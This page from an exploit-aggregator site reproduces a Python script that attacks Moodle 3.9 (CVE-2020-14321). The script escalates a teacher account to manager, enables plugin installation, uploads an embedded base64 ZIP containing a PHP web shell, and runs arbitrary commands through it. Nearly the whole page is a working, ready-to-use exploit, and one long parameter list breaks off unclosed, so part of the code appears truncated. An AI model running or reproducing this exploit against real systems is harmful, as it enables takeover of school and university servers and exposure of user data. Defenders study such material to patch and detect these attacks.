Advertisement






Moodle 3.9 Remote Code Execution

CVE Category Price Severity
CVE-2020-14321 CWE-XXX Not specified High
Author Risk Exploitation Type Date
Not specified Critical Remote 2021-08-06
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021080019

Below is a copy:

Moodle 3.9 Remote Code Execution
# Exploit Title: Moodle 3.9 - Remote Code Execution (RCE) (Authenticated)
# Date: 12-05-2021
# Exploit Author: lanz
# Vendor Homepage: https://moodle.org/
# Version: Moodle 3.9
# Tested on: FreeBSD

#!/usr/bin/python3

## Moodle 3.9 - RCE (Authenticated as teacher)
## Based on PoC and Payload to assign full permissions to manager rol:
##   * https://github.com/HoangKien1020/CVE-2020-14321

## Repository: https://github.com/lanzt/CVE-2020-14321/blob/main/CVE-2020-14321_RCE.py

import string, random
import requests, re
import argparse
import base64
import signal
import time
from pwn import *

class Color:
    BLUE = '\033[94m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RED = '\033[91m'
    END = '\033[0m'

def def_handler(sig, frame):
    print(Color.RED + "\n[!] 3xIt1ngG...\n")
    exit(1)

signal.signal(signal.SIGINT, def_handler)

banner = base64.b64decode("IF9fICAgICBfXyAgICAgX18gICBfXyAgX18gICBfXyAgICAgICAgICAgICAgX18gIF9fICAgICAKLyAgXCAgL3xfICBfXyAgIF8pIC8gIFwgIF8pIC8gIFwgX18gIC98IHxfX3wgIF8pICBfKSAvfCAKXF9fIFwvIHxfXyAgICAgL19fIFxfXy8gL19fIFxfXy8gICAgICB8ICAgIHwgX18pIC9fXyAgfCDigKIgYnkgbGFuegoKTW9vZGxlIDMuOSAtIFJlbW90ZSBDb21tYW5kIEV4ZWN1dGlvbiAoQXV0aGVudGljYXRlZCBhcyB0ZWFjaGVyKQpDb3Vyc2UgZW5yb2xtZW50cyBhbGxvd2VkIHByaXZpbGVnZSBlc2NhbGF0aW9uIGZyb20gdGVhY2hlciByb2xlIGludG8gbWFuYWdlciByb2xlIHRvIFJDRQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA==").decode()

print(Color.BLUE + banner + Color.END)

def usagemybro():
    fNombre = os.path.basename(__file__)
    ussage = fNombre + ' [-h] [-u USERNAME] [-p PASSWORD] [-idm ID_MANAGER] [-idc ID_COURSE] [-c COMMAND] [--cookie TEACHER_COOKIE] url\n\n'
    ussage += '[+] Examples:\n'
    ussage += '\t' + fNombre + ' http://moodle.site.com/moodle -u teacher_name -p teacher_pass\n'
    ussage += '\t' + fNombre + " http://moodle.site.com/moodle --cookie thisistheffcookieofmyteaaacher\n"
    return ussage

def arguments():
    parse = argparse.ArgumentParser(usage=usagemybro())
    parse.add_argument(dest='url', type=str, help='URL Moodle site')
    parse.add_argument('-u', dest='username', type=str, default='lanz', help='Teacher username, default: lanz')
    parse.add_argument('-p', dest='password', type=str, default='Lanz123$!', help='Teacher password, default: Lanz123$!')
    parse.add_argument('-idm', dest='id_manager', type=str, default='25', help='Manager user ID, default: 25')
    parse.add_argument('-idc', dest='id_course', type=str, default='5', help='Course ID valid to enrol yourself, default: 5')
    parse.add_argument('-c', dest='command', type=str, default='whoami', help='Command to execute, default: whoami')
    parse.add_argument('--cookie', dest='teacher_cookie', type=str, default='', help='Teacher cookie (if you don\'t have valid credentials)')
    return parse.parse_args()

def login(url, username, password, course_id, teacher_cookie):
    '''
    Sign in on site, with creds or with cookie
    '''

    p1 = log.progress("Login on site")

    session = requests.Session()
    r = session.get(url + '/login/index.php')

    # Sign in with teacher cookie
    if teacher_cookie != "":
        p1.status("Cookie " + Color.BLUE + "MoodleSession:" + teacher_cookie + Color.END)
        time.sleep(2)

        # In case the URL format is: http://moodle.site.com/moodle
        cookie_domain = url.split('/')[2] # moodle.site.com
        cookie_path = "/%s/" % (url.split('/')[3]) # /moodle/
        session.cookies.set('MoodleSession', teacher_cookie, domain=cookie_domain, path=cookie_path)

        r = session.get(url + '/user/index.php', params={"id":course_id})
        try:
            re.findall(r'class="usertext mr-1">(.*?)<', r.text)[0]
        except IndexError:
            p1.failure(Color.RED + "" + Color.END)
            print(Color.RED + "\nInvalid cookie, try again, verify cookie domain and cookie path or simply change all.\n")
            exit(1)

        id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0]
        sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]

        p1.success(Color.BLUE + "MoodleSession:" + teacher_cookie + Color.END + Color.YELLOW +  " " + Color.END)
        time.sleep(1)

    # Sign in with teacher credentials
    elif username and password != "":
        p1.status("Creds " + Color.BLUE + username + ":" + password + Color.END)
        time.sleep(2)

        login_token = re.findall(r'name="logintoken" value="(.*?)"', r.text)[0]

        data_post = {
            "anchor" : "",
            "logintoken" : login_token,
            "username" : username,
            "password" : password
        }
        
        r = session.post(url + '/login/index.php', data=data_post)
        if "Recently accessed courses" not in r.text:
            p1.failure(Color.RED + "" + Color.END)
            print(Color.RED + "\nInvalid credentials.\n")
            exit(1)

        id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0]
        sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]

        p1.success(Color.BLUE + username + ":" + password + Color.END + Color.YELLOW + " " + Color.END)
        time.sleep(1)

    else:
        print(Color.RED + "\nUse valid credentials or valid cookie\n")
        exit(1)

    return session, id_user, sess_key

def enrol2rce(session, url, id_manager, username, course_id, teacher_cookie, command):
    '''
    Assign rol manager to teacher and manager account in the course.
    '''

    p4 = log.progress("Updating roles to move on manager accout")
    time.sleep(1)

    r = session.get(url + '/user/index.php', params={"id":course_id})
    try:
        teacher_user = re.findall(r'class="usertext mr-1">(.*?)<', r.text)[0]
    except IndexError:
        p4.failure(Color.RED + "" + Color.END)
        print(Color.RED + "\nInvalid cookie, try again, verify cookie domain and cookie path or simply change all.\n")
        exit(1)

    p4.status("Teacher " + Color.BLUE + teacher_user + Color.END)
    time.sleep(1)

    id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0]
    sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]

    session = update_rol(session, url, sess_key, course_id, id_user)
    session = update_rol(session, url, sess_key, course_id, id_manager)

    data_get = {
        "id" : course_id,
        "user" : id_manager,
        "sesskey" : sess_key
    }

    r = session.get(url + '/course/loginas.php', params=data_get)
    if "You are logged in as" not in r.text:
        p4.failure(Color.RED + "" + Color.END)
        print(Color.RED + "\nError trying to move on manager account. Validate credentials (or cookie).\n")
        exit(1)

    p4.success(Color.YELLOW + "" + Color.END)
    time.sleep(1)

    sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]

    # Updating rol manager to enable install plugins
    session, sess_key = update_rol_manager(session, url, sess_key)

    # Upload malicious zip file
    zipb64_up(session, url, sess_key, teacher_user, course_id)

    # RCE on system
    moodle_RCE(url, command)

def update_rol(session, url, sess_key, course_id, id_user):
    '''
    Updating teacher rol to enable he update other users
    '''

    data_get = {
        "mform_showmore_main" : "0",
        "id" : course_id,
        "action" : "enrol",
        "enrolid" : "10",
        "sesskey" : sess_key,
        "_qf__enrol_manual_enrol_users_form" : "1",
        "mform_showmore_id_main" : "0", 
        "userlist[]" : id_user, 
        "roletoassign" : "1",
        "startdate" : "4",
        "duration" : ""
    }

    r = session.get(url + '/enrol/manual/ajax.php', params=data_get)
    return session

def update_rol_manager(session, url, sess_key):
    '''
    Updating rol manager to enable install plugins
        * Extracted from: https://github.com/HoangKien1020/CVE-2020-14321
    '''

    p6 = log.progress("Updating rol manager to enable install plugins")
    time.sleep(1)

    data_get = {
        "action":"edit",
        "roleid":"1"
    }

    random_desc = ''.join(random.choice(string.ascii_lowercase) for i in range(15))

    # Headache part :P
    data_post = [('sesskey',sess_key),('return','manage'),('resettype','none'),('shortname','manager'),('name',''),('description',random_desc),('archetype','manager'),('contextlevel10','0'),('contextlevel10','1'),('contextlevel30','0'),('contextlevel30','1'),('contextlevel40','0'),('contextlevel40','1'),('contextlevel50','0'),('contextlevel50','1'),('contextlevel70','0'),('contextlevel70','1'),('contextlevel80','0'),('contextlevel80','1'),('allowassign[]',''),('allowassign[]','1'),('allowassign[]','2'),('allowassign[]','3'),('allowassign[]','4'),('allowassign[]','5'),('allowassign[]','6'),('allowassign[]','7'),('allowassign[]','8'),('allowoverride[]',''),('allowoverride[]','1'),('allowoverride[]','2'),('allowoverride[]','3'),('allowoverride[]','4'),('allowoverride[]','5'),('allowoverride[]','6'),('allowoverride[]','7'),('allowoverride[]','8'),('allowswitch[]',''),('allowswitch[]','1'),('allowswitch[]','2'),('allowswitch[]','3'),('allowswitch[]','4'),('allowswitch[]','5'),('allowswitch[]','6'),('allowswitch[]','7'),('allowswitch[]','8'),('allowview[]',''),('allowview[]','1'),('allowview[]','2'),('allowview[]','3'),('allowview[]','4'),('allowview[]','5'),('allowview[]','6'),('allowview[]','7'),('allowview[]','8'),('block/admin_bookmarks:myaddinstance','1'),('block/badges:myaddinstance','1'),('block/calendar_month:myaddinstance','1'),('block/calendar_upcoming:myaddinstance','1'),('block/comments:myaddinstance','1'),('block/course_list:myaddinstance','1'),('block/globalsearch:myaddinstance','1'),('block/glossary_random:myaddinstance','1'),('block/html:myaddinstance','1'),('block/lp:addinstance','1'),('block/lp:myaddinstance','1'),('block/mentees:myaddinstance','1'),('block/mnet_hosts:myaddinstance','1'),('block/myoverview:myaddinstance','1'),('block/myprofile:myaddinstance','1'),('block/navigation:myaddinstance','1'),('block/news_items:myaddinstance','1'),('block/online_users:myaddinstance','1'),('block/private_files:myaddinstance','1'),('block/recentlyaccessedcourses:myaddinstance','1'),('block/recentlyaccesseditems:myaddinstance','1'),('block/rss_client:myaddinstance','1'),('block/settings:myaddinstance','1'),('block/starredcourses:myaddinstance','1'),('block/tags:myaddinstance','1'),('block/timeline:myaddinstance','1'),('enrol/category:synchronised','1'),('message/airnotifier:managedevice','1'),('moodle/analytics:listowninsights','1'),('moodle/analytics:managemodels','1'),('moodle/badges:manageglobalsettings','1'),('moodle/blog:create','1'),('moodle/blog:manageentries','1'),('moodle/blog:manageexternal','1'),('moodle/blog:search','1'),('moodle/blog:view','1'),('moodle/blog:viewdrafts','1'),('moodle/course:configurecustomfields','1'),('moodle/course:recommendactivity','1'),('moodle/grade:managesharedforms','1'),('moodle/grade:sharegradingforms','1'),('moodle/my:configsyspages','1'),('moodle/my:manageblocks','1'),('moodle/portfolio:export','1'),('moodle/question:config','1'),('moodle/restore:createuser','1'),('moodle/role:manage','1'),('moodle/search:query','1'),('moodle/site:config','1'),('moodle/site:configview','1'),('moodle/site:deleteanymessage','1'),('moodle/site:deleteownmessage','1'),('moodle/site:doclinks','1'),('moodle/site:forcelanguage','1'),('moodle/site:maintenanceaccess','1'),('moodle/site:manageallmessaging','1'),('moodle/site:messageanyuser','1'),('moodle/site:mnetlogintoremote','1'),('moodle/site:readallmessages','1'),('moodle/site:sendmessage','1'),('moodle/site:uploadusers','1'),('moodle/site:viewparticipants','1'),('moodle/tag:edit','1'),('moodle/tag:editblocks','1'),('moodle/tag:flag','1'),('moodle/tag:manage','1'),('moodle/user:changeownpassword','1'),('moodle/user:create','1'),('moodle/user:delete','1'),('moodle/user:editownmessageprofile','1'),('moodle/user:editownprofile','1'),('moodle/user:ignoreuserquota','1'),('moodle/user:manageownblocks','1'),('moodle/user:manageownfiles','1'),('moodle/user:managesyspages','1'),('moodle/user:update','1'),('moodle/webservice:createmobiletoken','1'),('moodle/webservice:createtoken','1'),('moodle/webservice:managealltokens','1'),('quizaccess/seb:managetemplates'

    r = session.post(url + '/admin/roles/define.php', params=data_get, data=data_post)

    # Above we modify description field, so, if script find that description on site, we are good.
    if random_desc not in r.text:
        p6.failure(Color.RED + "" + Color.END)
        print(Color.RED + "\nTrouble updating fields\n")
        exit(1)
    else:
        r = session.get(url + '/admin/search.php')
        if "Install plugins" not in r.text:
            p6.failure(Color.RED + "" + Color.END)
            print(Color.RED + "\nModified fields but the options to install plugins have not been enabled.")
            print(Color.RED + "- (This is weird, sometimes he does it, sometimes he doesn't!!) Try again.\n")
            exit(1)

    sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]
    
    p6.success(Color.YELLOW + "" + Color.END)
    time.sleep(1)

    return session, sess_key

def zipb64_up(session, url, sess_key, teacher_user, course_id):
    '''
    Doing upload of zip file as base64 binary data
        * https://stackabuse.com/encoding-and-decoding-base64-strings-in-python/
    '''

    p7 = log.progress("Uploading malicious " + Color.BLUE + ".zip" + Color.END + " file")

    r = session.get(url + '/admin/tool/installaddon/index.php')
    zipfile_id = re.findall(r'name="zipfile" id="id_zipfile" value="(.*?)"', r.text)[0]
    client_id = re.findall(r'"client_id":"(.*?)"', r.text)[0]

    # Upupup
    data_get = {"action":"upload"}
    data_post = {
        "title" : "",
        "author" : teacher_user,
        "license" : "unknown",
        "itemid" : [zipfile_id, zipfile_id],
        "accepted_types[]" : [".zip",".zip"],
        "repo_id" : course_id,
        "p" : "",
        "page" : "",
        "env" : "filepicker",
        "sesskey" : sess_key,
        "client_id" : client_id,
        "maxbytes" : "-1",
        "areamaxbytes" : "-1",
        "ctx_id" : "1",
        "savepath" : "/"
    }

    zip_b64 = 'UEsDBAoAAAAAAOVa0VAAAAAAAAAAAAAAAAAEAAAAcmNlL1BLAwQKAAAAAACATtFQAAAAAAAAAAAAAAAACQAAAHJjZS9sYW5nL1BLAwQKAAAAAAB2bdFQAAAAAAAAAAAAAAAADAAAAHJjZS9sYW5nL2VuL1BLAwQUAAAACAD4W9FQA9MUliAAAAAeAAAAGQAAAHJjZS9sYW5nL2VuL2Jsb2NrX3JjZS5waHCzsS/IKFAoriwuSc3VUIl3dw2JVk/OTVGP1bRWsLcDAFBLAwQUAAAACAB6bdFQtXxvb0EAAABJAAAADwAAAHJjZS92ZXJzaW9uLnBocLOxL8goUODlUinIKU3PzNO1K0stKs7Mz1OwVTAyMDIwMDM0NzCwRpJPzs8tyM9LzSsBqlBPyslPzo4vSk5VtwYAUEsBAh8ACgAAAAAA5VrRUAAAAAAAAAAAAAAAAAQAJAAAAAAAAAAQAAAAAAAAAHJjZS8KACAAAAAAAAEAGAB/2bACX0TWAWRC9B9fRNYBhvTzH19E1gFQSwECHwAKAAAAAACATtFQAAAAAAAAAAAAAAAACQAkAAAAAAAAABAAAAAiAAAAcmNlL2xhbmcvCgAgAAAAAAABABgArE3mRVJE1gGOG/QfX0TWAYb08x9fRNYBUEsBAh8ACgAAAAAAdm3RUAAAAAAAAAAAAAAAAAwAJAAAAAAAAAAQAAAASQAAAHJjZS9sYW5nL2VuLwoAIAAAAAAAAQAYAMIcIaZyRNYBwhwhpnJE1gGOG/QfX0TWAVBLAQIfABQAAAAIAPhb0VAD0xSWIAAAAB4AAAAZACQAAAAAAAAAIAAAAHMAAAByY2UvbGFuZy9lbi9ibG9ja19yY2UucGhwCgAgAAAAAAABABgA1t0sN2BE1gHW3Sw3YETWAfYt6i9fRNYBUEsBAh8AFAAAAAgAem3RULV8b29BAAAASQAAAA8AJAAAAAAAAAAgAAAAygAAAHJjZS92ZXJzaW9uLnBocAoAIAAAAAAAAQAYAO6e2qlyRNYB7p7aqXJE1gFkQvQfX0TWAVBLBQYAAAAABQAFANsBAAA4AQAAAAA='
    zip_file_bytes = zip_b64.encode('utf-8')
    zip_file_b64 = base64.decodebytes(zip_file_bytes)

    data_file = [
        ('repo_upload_file',
            ('rce.zip', zip_file_b64, 'application/zip'))]

    r = session.post(url + '/repository/repository_ajax.php', params=data_get, data=data_post, files=data_file)
    if "rce.zip" not in r.text:
        p7.failure(Color.RED + "" + Color.END)
        print(Color.RED + "\nError uploading zip file.\n")
        exit(1)

    # Trying to load file
    data_post = {
        "sesskey" : sess_key,
        "_qf__tool_installaddon_installfromzip_form" : "1",
        "mform_showmore_id_general" : "0",
        "mform_isexpanded_id_general" : "1",
        "zipfile" : zipfile_id,
        "plugintype" : "",
        "rootdir" : "",
        "submitbutton" : "Install plugin from the ZIP file"
    }

    r = session.post(url + '/admin/tool/installaddon/index.php', data=data_post)
    if "Validation successful, installation can continue" not in r.text:
        p7.failure(Color.RED + "" + Color.END)
        print(Color.RED + "\nError uploading zip file, problems on plugin install.\n")
        exit(1)

    # Confirm load
    zip_storage = re.findall(r'installzipstorage=(.*?)&', r.url)[0]
    data_post = {
        "installzipcomponent" : "block_rce",
        "installzipstorage" : zip_storage,
        "installzipconfirm" : "1",
        "sesskey" : sess_key
    }

    r = session.post(url + '/admin/tool/installaddon/index.php', data=data_post)
    if "Current release information" not in r.text:
        p7.failure(Color.RED + "" + Color.END)
        print(Color.RED + "\nError uploading zip file, confirmation problems.\n")
        exit(1)

    p7.success(Color.YELLOW + "" + Color.END)
    time.sleep(1)

    return session

def moodle_RCE(url, command):
    '''
    Remote Command Execution on system with plugin installed (malicious zip file)
    '''
    
    p8 = log.progress("Executing " + Color.BLUE + command + Color.END)
    time.sleep(1)

    data_get = {"cmd" : command}

    try:
        r = session.get(url + '/blocks/rce/lang/en/block_rce.php', params=data_get, timeout=3)
        p8.success(Color.YELLOW + "" + Color.END)
        time.sleep(1)
        print("\n" + Color.YELLOW + r.text + Color.END)
    except requests.exceptions.Timeout as e:
        p8.success(Color.YELLOW + "" + Color.END)
        time.sleep(1)
        pass

    print("[" + Color.YELLOW + "+" + Color.END + "]" + Color.GREEN + " Keep breaking ev3rYthiNg!!\n" + Color.END)

if __name__ == '__main__':
    args = arguments()
    session, id_user, sess_key = login(args.url, args.username, args.password, args.id_course, args.teacher_cookie)
    enrol2rce(session, args.url, args.id_manager, args.username, args.id_course, args.teacher_cookie, args.command)
            

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum